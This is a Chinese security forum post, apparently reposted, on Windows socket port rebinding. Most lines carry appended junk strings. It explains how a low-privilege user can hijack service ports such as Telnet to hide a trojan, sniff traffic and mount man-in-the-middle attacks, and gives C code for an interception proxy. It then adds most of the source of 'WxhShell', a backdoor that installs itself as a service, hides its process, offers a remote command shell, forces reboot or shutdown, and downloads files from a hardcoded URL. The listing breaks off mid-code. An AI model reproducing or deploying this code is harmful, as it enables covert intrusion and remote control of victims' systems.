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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *YX:e@Fm.a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3O _O5  
1!E}A!;  
  saddr.sin_family = AF_INET; ]=/?Ooh  
Tn(uH17  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H7<g5pv  
Sco'] ^#(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /oGaA@#+  
+JXn   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A_2lG!! 6  
v;}MHl  
  这意味着什么?意味着可以进行如下的攻击: CP$,fj  
!|9k&o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Fq+^  
2 '$nz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w_LkS/  
#G?",,&dM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CWB<I  
_G/uDP%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +@7c:CAy(  
B)0;gWK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +>c%I&h}`  
+#A~O4%t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q7UQwAN'  
beV+3HqB8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DiZv sc  
*TCV}=V G  
  #include <KStl fX  
  #include d`j<Bbf-  
  #include r?pFc3 ~N  
  #include    1}p :]/;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5>=4$!`  
  int main() f3h]t0M  
  { qNMYZ0,  
  WORD wVersionRequested; 8|+@A1)&4  
  DWORD ret; j<9^BNl  
  WSADATA wsaData; 9'|_1Q.b^  
  BOOL val; gd]_OY7L  
  SOCKADDR_IN saddr; ]!/R tt  
  SOCKADDR_IN scaddr; P86wRq  
  int err; vAOThj)  
  SOCKET s; /N./l4D1K-  
  SOCKET sc; Vy c  
  int caddsize; qS ggZ0*  
  HANDLE mt; %;Z_`W  
  DWORD tid;   A,7* 52U  
  wVersionRequested = MAKEWORD( 2, 2 ); .hoVy*I  
  err = WSAStartup( wVersionRequested, &wsaData ); 0j}@lOt(  
  if ( err != 0 ) { (#qQ;ch  
  printf("error!WSAStartup failed!\n"); 4CS$%Cu\?w  
  return -1; [g=4'4EZc  
  } 8M BY3F  
  saddr.sin_family = AF_INET; wARd^Iw  
   +vV?[e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0[8uuqV[cB  
fN9uSnu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TIF  =fQ  
  saddr.sin_port = htons(23); 6\y?+H1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'I>geW?{QK  
  { 1p<*11  
  printf("error!socket failed!\n"); li#ep?5h^  
  return -1; [8 23w.{]#  
  } ^ 7)H;$  
  val = TRUE; 5 (q4o`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "=$uv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *fLVzYpo  
  { azRp4~2?  
  printf("error!setsockopt failed!\n"); S]4!uv^y  
  return -1; N,F[x0&?  
  } 5UG"i_TC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (tiE%nF+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6.|[;>Km  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .5A .[ZY)  
C0ORB p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A+fXt`YNM  
  { %"|W qxv  
  ret=GetLastError(); sn'E}.uhXH  
  printf("error!bind failed!\n"); }"/>,  
  return -1; 0^F!-b^z  
  } LF+E5{=:R  
  listen(s,2); a?X@ D<.;  
  while(1) V%`\x\Xat  
  { Ac}5,  
  caddsize = sizeof(scaddr); H}8kku>7  
  //接受连接请求 n9Vr*RKM)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `y{[e j  
  if(sc!=INVALID_SOCKET) DJ1!Xuu  
  { /7ykmW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z.tN<P7  
  if(mt==NULL) iRV=I,  
  { QQ %W3D @  
  printf("Thread Creat Failed!\n"); B f.- 5  
  break; UH((d*HX4  
  } {GGP8  
  } Q4g69IE  
  CloseHandle(mt); Y+0GJuBf  
  } hANe$10=H  
  closesocket(s); FU)=+m  
  WSACleanup(); :8]y*j  
  return 0; KvO5-g  
  }   zkd^5A; `  
  DWORD WINAPI ClientThread(LPVOID lpParam) f$--y|=  
  { :edy(vC<  
  SOCKET ss = (SOCKET)lpParam; \9}DAM_  
  SOCKET sc; B!4~A{  
  unsigned char buf[4096]; L}K8cB  
  SOCKADDR_IN saddr; sdN1BV2  
  long num; &&zsUAkS  
  DWORD val; ,=: -&~?  
  DWORD ret; HY(XI u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ROO@EQ#`Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E+$D$a  
  saddr.sin_family = AF_INET; vLGnLpt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u $D%Iz  
  saddr.sin_port = htons(23); [7,q@>:CS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _auFt"n  
  { HzsQ`M4cA  
  printf("error!socket failed!\n"); gIKQip<  
  return -1; 3MDs?qx>s  
  } P]2V~I/X  
  val = 100; &#!1 Y[e^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a/[)A _-  
  { l;B  
  ret = GetLastError(); x]IJ;  
  return -1; l]~IZTC  
  } :*YnH&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n(sseQ|\  
  { \Qf2:[-V0  
  ret = GetLastError(); xrv0%  
  return -1; T`GiM%R;g  
  } WS%yV|e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /0XmU@B  
  { ryb81.|  
  printf("error!socket connect failed!\n"); F(Je$c/J|~  
  closesocket(sc); N686~  
  closesocket(ss); 2AEVBkF;M  
  return -1; {+EnJ"  
  } d-z[=1m  
  while(1) h-DHIk3/  
  { _n&#e r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {HFx+<JG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Vs>G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3^-\=taN<m  
  num = recv(ss,buf,4096,0); Ko|gH]B'  
  if(num>0) pm[+xM9PB  
  send(sc,buf,num,0); bV+2U  
  else if(num==0) Y8N+v+V/  
  break; xtK\-[n  
  num = recv(sc,buf,4096,0); }i^$ li@  
  if(num>0) `Q[NrOqe"  
  send(ss,buf,num,0); +zEyCx=8H  
  else if(num==0) }T}xVd0  
  break; (O& HCT|  
  } yR"mRy1  
  closesocket(ss); 7}`FXB  
  closesocket(sc); Fh/sD?  
  return 0 ; ex66GJQe1  
  } xqQK-?k  
T2Yc` +  
Mh {>#Gs  
========================================================== Eqh*"hE7  
T wzpq1  
下边附上一个代码,,WXhSHELL ;d FJqo82  
tq51;L  
========================================================== LjIkZ'HuF  
D0>Pc9  
#include "stdafx.h" 9Q'[>P=1  
p1W6s0L  
#include <stdio.h> )KGz -!1c  
#include <string.h> 1MmEP  
#include <windows.h> gEw9<Y  
#include <winsock2.h> 0E)M6 jJ  
#include <winsvc.h> nj1PR`AE  
#include <urlmon.h> 3eB)X2~   
}F|B'[wn  
#pragma comment (lib, "Ws2_32.lib") hE<Sm*HU  
#pragma comment (lib, "urlmon.lib") EV7lgKM^  
&xp]9$  
#define MAX_USER   100 // 最大客户端连接数 ^x_$%8  
#define BUF_SOCK   200 // sock buffer E'NS$,h  
#define KEY_BUFF   255 // 输入 buffer 2jxIr-a1G  
= |2F?  
#define REBOOT     0   // 重启 X#zp,7j?  
#define SHUTDOWN   1   // 关机 0& ?L%Y  
M27H{} v  
#define DEF_PORT   5000 // 监听端口 {WQ6=wGpS  
vKfjP_0$  
#define REG_LEN     16   // 注册表键长度 NK'@.=$  
#define SVC_LEN     80   // NT服务名长度 Sh?eb  
k|{ 4"4r  
// 从dll定义API /_YTOSZjm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y|zIu I-p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KP7 {  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wuW{ 2+)B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8H`L8: CM  
'sE["eC  
// wxhshell配置信息 h@o6=d=4  
struct WSCFG { iio-RT?!  
  int ws_port;         // 监听端口 Kmw #Q`  
  char ws_passstr[REG_LEN]; // 口令 9A/bA|$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9%bErMHL  
  char ws_regname[REG_LEN]; // 注册表键名 CxSh.$l  
  char ws_svcname[REG_LEN]; // 服务名 4C ;y2`C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9,JWi{lIv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Et0)6^-v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +L@\/=;G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L27WDm^)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ) .KMZ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ia3!&rZ  
X{<taD2~  
}; e m0 hTxb  
pMAP/..+2  
// default Wxhshell configuration 7[!dm_  
struct WSCFG wscfg={DEF_PORT, ~qIr'?D  
    "xuhuanlingzhe", f^ZhFu?  
    1, Dwr 9}Z-]  
    "Wxhshell", Bf6i{`!G  
    "Wxhshell", E+LQyvF[  
            "WxhShell Service", cOZBl;}  
    "Wrsky Windows CmdShell Service", +S`cUn7  
    "Please Input Your Password: ", ZKq#PB/.  
  1, UEhFId  
  "http://www.wrsky.com/wxhshell.exe", X$6QQnyR  
  "Wxhshell.exe" s|`wi}"x  
    }; YD0hDp  
VR\}*@pNp  
// 消息定义模块 $R NHRA.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +\)Y,@cw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vU]n0)<KB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @LSh=o+  
char *msg_ws_ext="\n\rExit."; u[oV Jvc  
char *msg_ws_end="\n\rQuit."; .wyuB;:  
char *msg_ws_boot="\n\rReboot..."; $G5:/,Q  
char *msg_ws_poff="\n\rShutdown..."; El: @l %  
char *msg_ws_down="\n\rSave to "; &Yc'X+'4  
es~1@Jb  
char *msg_ws_err="\n\rErr!"; #TC}paIpj  
char *msg_ws_ok="\n\rOK!"; y)a)VvU":  
&U7h9o H  
char ExeFile[MAX_PATH]; 1N:~5S}s>  
int nUser = 0; i]L=M 5^C  
HANDLE handles[MAX_USER]; rHk,OC  
int OsIsNt; ek]nLN  
E@n~ @|10  
SERVICE_STATUS       serviceStatus; lI+^}-<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8n-Xt7z  
>d *`K  
// 函数声明 8S8UV(K0  
int Install(void); c!'\k,ma<9  
int Uninstall(void); 72.Msnn  
int DownloadFile(char *sURL, SOCKET wsh); pnyu&@e  
int Boot(int flag); 6,MQT,F  
void HideProc(void); C&R U  
int GetOsVer(void); oveK;\7/m  
int Wxhshell(SOCKET wsl); "v( pluN|  
void TalkWithClient(void *cs); V aG Qre  
int CmdShell(SOCKET sock); ICr.Gwe3_  
int StartFromService(void); [t$ r)vX  
int StartWxhshell(LPSTR lpCmdLine); aM(#J7;  
P=6d<no&<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G_ ,9h!e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h/5S2EB0!O  
I,`;#Q)nx  
// 数据结构和表定义 T93st<F=R  
SERVICE_TABLE_ENTRY DispatchTable[] = &[_@f#  
{ C/#pK2xY  
{wscfg.ws_svcname, NTServiceMain}, 'Cz*p,  
{NULL, NULL} jD}h`(bE  
}; S'kgpF"bm  
O`"~AY&  
// 自我安装 t|h c`|  
int Install(void) Zq<j}vVJ  
{ 0a^bAEP  
  char svExeFile[MAX_PATH]; 12m-$/5n+  
  HKEY key; Uzc p  
  strcpy(svExeFile,ExeFile); %KkC1.yu<  
au/LoO#6Ro  
// 如果是win9x系统,修改注册表设为自启动 6vR6=@(`>  
if(!OsIsNt) { }qhYHC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LExm#T`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o 9/,@Ri\5  
  RegCloseKey(key); c5b }q@nH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,\cV,$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i$Kx@,O8t  
  RegCloseKey(key); CCol>:8{P  
  return 0; JbS[(+o  
    } O9/)_:Wdh  
  } .{*l,  
} M \  
else { -!\%##r7~  
#ojuSS3  
// 如果是NT以上系统,安装为系统服务 ,aGIq. *v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *78c2`)[  
if (schSCManager!=0) m- ibS:  
{ UZrEFpi  
  SC_HANDLE schService = CreateService O(!; 7v}  
  ( L8!yP.3   
  schSCManager, a0gg<Ml  
  wscfg.ws_svcname, W=w]`'  
  wscfg.ws_svcdisp, OKK Ko`RN  
  SERVICE_ALL_ACCESS, sQkijo.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s-+-?$K  
  SERVICE_AUTO_START, "~._G5i.  
  SERVICE_ERROR_NORMAL, {i?G:K  
  svExeFile, ge.>#1f}  
  NULL, vmrs(k "d#  
  NULL, {*TB }Xsr,  
  NULL, -m=A1~|7  
  NULL, ~;H,cPvrEg  
  NULL 9d-'%Q>+  
  ); B["+7\c<~  
  if (schService!=0) =_zo  
  { 8.N`^Nj 1  
  CloseServiceHandle(schService); _ahp7-O  
  CloseServiceHandle(schSCManager); $p4e8j[EJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G9LWnyQt  
  strcat(svExeFile,wscfg.ws_svcname); Sw,*#98  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 58HA*w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6Aq]I$  
  RegCloseKey(key); GD]epr%V  
  return 0; b @0= &4  
    } 3di;lzGq  
  } 0XCAnMVo  
  CloseServiceHandle(schSCManager); 6QbDU[  
} KN`k+!@/7  
} G?=&\fg_:  
=xRD %Z  
return 1; 3*2~#dh=  
} '@ Y@Fs  
9T5 F0?qd  
// 自我卸载 KCw  
int Uninstall(void) *AW v  
{ fW+ "Kuw  
  HKEY key; {d;z3AB  
a{Y|`*7y  
if(!OsIsNt) { 3en6 7l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l5Ko9CG  
  RegDeleteValue(key,wscfg.ws_regname); d~%7A5  
  RegCloseKey(key); y*{zX=]l<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gN:F50   
  RegDeleteValue(key,wscfg.ws_regname); 7x>^ip"7  
  RegCloseKey(key); M'<% d[  
  return 0; z EtsMU  
  } aK;OzB)  
} b~:)d>s8wY  
} KB|mtsi  
else { %A'mXatk  
{.A N4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;hO6 p  
if (schSCManager!=0) _.V5-iN  
{ "``>ii  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;<Hk Cd  
  if (schService!=0) ."^\1N(.n  
  { 6)*fr'P  
  if(DeleteService(schService)!=0) { .!0Rh9yyl  
  CloseServiceHandle(schService); 9?O8j1F  
  CloseServiceHandle(schSCManager); =Q<7[  
  return 0; + c3pe4  
  } *->*p35  
  CloseServiceHandle(schService); cl `Wl/Q#  
  } >.`*KQdan  
  CloseServiceHandle(schSCManager); vr4r,[B6y  
} h+j^VsP zB  
} gggD "alDx  
2XeyNX  
return 1; |e2s\?nB0S  
} m!w|~ Rk  
' *a}*(0OA  
// 从指定url下载文件 r|4D.O]  
int DownloadFile(char *sURL, SOCKET wsh) 'q$Y m0nL  
{ .#SgU<Wq  
  HRESULT hr; 1~K'r&  
char seps[]= "/"; B t}90#  
char *token; cpP}NJb0;%  
char *file;  S9}I  
char myURL[MAX_PATH]; P4_B.5rrJ  
char myFILE[MAX_PATH]; gs3(B/";c  
z=U+FHdh/-  
strcpy(myURL,sURL); W0sLMHq  
  token=strtok(myURL,seps); UH%H9; ,$]  
  while(token!=NULL) SN ?Z7  
  { 2DFsMT>X  
    file=token; 'vVWUK956  
  token=strtok(NULL,seps); :2S?|7U4  
  } L+%kibnY'  
]goJ- &  
GetCurrentDirectory(MAX_PATH,myFILE); dLb$3!3  
strcat(myFILE, "\\"); WXmfh  
strcat(myFILE, file); T\.(e*hC  
  send(wsh,myFILE,strlen(myFILE),0); QCZ88 \jX[  
send(wsh,"...",3,0); GLecBF+>F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a'jUM+D;  
  if(hr==S_OK) TY %zw6 #p  
return 0; P}5bSQ( a3  
else 1mJUl x  
return 1; JZ-@za6u  
^-q{:lx  
} <Qih&P9;>  
(i%bQZt^?  
// 系统电源模块 :E6*m\X!3  
int Boot(int flag) {c_bNYoE  
{ |"9&F  
  HANDLE hToken; grgs r_)[  
  TOKEN_PRIVILEGES tkp; _d3Z~cH  
6}N`YOJ.  
  if(OsIsNt) { L5 `k3ap|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6#*_d,xQT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mi|13[p{  
    tkp.PrivilegeCount = 1; dL% *;   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Fy<:iv0>t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8\P,2RSnt  
if(flag==REBOOT) { WJONk_WAc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bh=t%#y|`  
  return 0; B <r0y  
} 5U7,,oyh  
else { :stHc,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .W~XX  
  return 0; K |=o-  
} z*jaA;#  
  } |}:}14ty  
  else { &nr{-][  
if(flag==REBOOT) { ^P~,bO&H.Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _|12BVq  
  return 0; 8e>B>'nH  
} jXf@JxQ  
else { )e3w-es~4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DmuQE~DV  
  return 0; +`Q]p" G  
} "Tser*i )  
} 2@Yu: |d4U  
.lb]Xa*n  
return 1; '9WTz(0?  
} Yl&[_ l  
d"?"(Q_8n  
// win9x进程隐藏模块 m85ZcyW1T  
void HideProc(void) }FS_"0  
{ D8,8j;  
V;SV0~&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [XI:Yf  
  if ( hKernel != NULL ) l VD{Y`)  
  { P-2DBNB7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EoPvF`T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^$'z#ZN1  
    FreeLibrary(hKernel); z4BU}`;b3t  
  } MnFrQC  
hu0z 36  
return; )cizd^{  
} +d=f_@i  
,5W u  
// 获取操作系统版本 h?/E/>  
int GetOsVer(void) P ah@d!%A  
{ ](R /4  
  OSVERSIONINFO winfo; 5<*E S[S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J61%a,es  
  GetVersionEx(&winfo); r-$xLe7a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "$(D7yFO  
  return 1; tL;.vRx  
  else ;yN Y/  
  return 0; |%5Aku0`s  
} ({Md({|  
\jk* Nm8;  
// 客户端句柄模块 l2 n`fZL  
int Wxhshell(SOCKET wsl) vS~tr sI  
{ LWqKSNE;  
  SOCKET wsh; D>{`I'  
  struct sockaddr_in client; J#Y0R"fo  
  DWORD myID; $*X?]?  
DjK7_'7(L  
  while(nUser<MAX_USER) :l]qTCmY  
{ n.9k5r@  
  int nSize=sizeof(client); g`'!Vgd?M[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Brs6RkRf  
  if(wsh==INVALID_SOCKET) return 1; R[\1Kk(Zo  
}U'9 d#N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9a=:e=q3#  
if(handles[nUser]==0) 7WSP0Xyz  
  closesocket(wsh); C=oeRc'r1W  
else ~tfd9,t  
  nUser++; C;:=r:bth  
  } U 5j4iz'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bnkZWw'9  
* FEJ5x  
  return 0; FXT^r3  
} +p>h` fc  
BhAT@%  
// 关闭 socket ~ :{mKc  
void CloseIt(SOCKET wsh) H0OO +MCe  
{ 1ED7 .#g  
closesocket(wsh); IfB .2e`  
nUser--; Z}0{FwW"4  
ExitThread(0); hC"'cUrcN  
} bR~Xog  
TDk[,4  
// 客户端请求句柄 8 0nu^ _  
void TalkWithClient(void *cs) Zl9  
{ d`V.i6u  
cz/ E  
  SOCKET wsh=(SOCKET)cs; Q{S{|.w-  
  char pwd[SVC_LEN];  $L uU  
  char cmd[KEY_BUFF]; xPm{'J+b~  
char chr[1]; }XUI1H]jk  
int i,j; )P9]/y  
s% R,]q  
  while (nUser < MAX_USER) { M1/(Xla3  
'C7R* P  
if(wscfg.ws_passstr) { q90RTX'CY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xC9?rLUZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O{ 3X`xAf  
  //ZeroMemory(pwd,KEY_BUFF); ]Kjt@F";  
      i=0; 8dx 7@y?z  
  while(i<SVC_LEN) { b/oNQQM#Dk  
5V(#nz  
  // 设置超时 dKEy6C"@  
  fd_set FdRead; w2b(,w  
  struct timeval TimeOut; (5Q<xJ  
  FD_ZERO(&FdRead); RgH 6l2  
  FD_SET(wsh,&FdRead); v9@_ DlV\  
  TimeOut.tv_sec=8; ua=7YG  
  TimeOut.tv_usec=0; V!. Y M)B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); onmkg}&_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E71H=C 4  
@^ta)Ev  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $A5O>  
  pwd=chr[0]; Kp7)my  
  if(chr[0]==0xd || chr[0]==0xa) { o@PvA1  
  pwd=0; !!ZGNZ_  
  break; v]@ XyF\j8  
  } T}?b,hNl$  
  i++; 8*?H~q~  
    } 0 5?`W&:9  
/YPG_,lRA  
  // 如果是非法用户,关闭 socket D0bpD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JDa_;bqL  
} T; [T`  
d, i4WKp   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fO5L[U^`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (  -q0!]E  
$tW E9_  
while(1) { %}N01P|X>  
 y"Fu=  
  ZeroMemory(cmd,KEY_BUFF); -0;{  
!Y|xu07  
      // 自动支持客户端 telnet标准   )R<93`q  
  j=0; 7Cz=;  
  while(j<KEY_BUFF) { d^~yUk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rq2bj_j  
  cmd[j]=chr[0]; h*<`ct xL  
  if(chr[0]==0xa || chr[0]==0xd) { .#tA .%  
  cmd[j]=0; !a V:T&6  
  break; N@Ap|`Ei  
  } T:%0i8p  
  j++; D` cy.},L  
    } 5IzCQqOPgX  
T,/<'cl"  
  // 下载文件 ;^E\zs  
  if(strstr(cmd,"http://")) { 1xkk5\3]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9+ve0P7$  
  if(DownloadFile(cmd,wsh)) ZBU<L+#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &a\w+  
  else Y/m-EL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )iIsnM  
  } t vW0 W  
  else { G]xN#O;  
,f ?B((l  
    switch(cmd[0]) { 7,?ai6{  
  kAUL7_>6X  
  // 帮助 4\V/A+<W  
  case '?': { Oi C|~8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N1y,~Z  
    break; I WT|dA >  
  } 2XUIC^<@s  
  // 安装 lxD~l#)^ln  
  case 'i': { _E0yzkS  
    if(Install()) 9.~ _swkv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `T%nGVl>\  
    else =*-a c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GM^H )8U  
    break; !3c+}j-j  
    } v?nGAn  
  // 卸载 rOUQg_y  
  case 'r': { h;(mb2[R  
    if(Uninstall()) lt5Knz2G,Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3-;<G  
    else SFP?ND+7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *fyaAv  
    break; $i3`cX)g  
    }  bFA lC  
  // 显示 wxhshell 所在路径 y~t e!C  
  case 'p': { "f3mi[  
    char svExeFile[MAX_PATH]; (yT&&_zY4  
    strcpy(svExeFile,"\n\r"); h{~GzrL*  
      strcat(svExeFile,ExeFile); NN:zQ_RT  
        send(wsh,svExeFile,strlen(svExeFile),0); 2=7[r-*E  
    break; :c}PW"0v  
    } h6`VU`pPI  
  // 重启 wB[ JFy"E  
  case 'b': { mH<|.7~0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yu[MNX ;G  
    if(Boot(REBOOT)) *ZRk)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6khm@}}  
    else { W8]?dL}|  
    closesocket(wsh); Qe9}%k6@E  
    ExitThread(0); F5UHkv"K&O  
    } [ f<g?w  
    break; 4w 7vgB  
    } .",BLuce  
  // 关机 b?M. 0{"H  
  case 'd': { D iHj!tZN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^h`rA"F\  
    if(Boot(SHUTDOWN)) Hp(41Eb,  
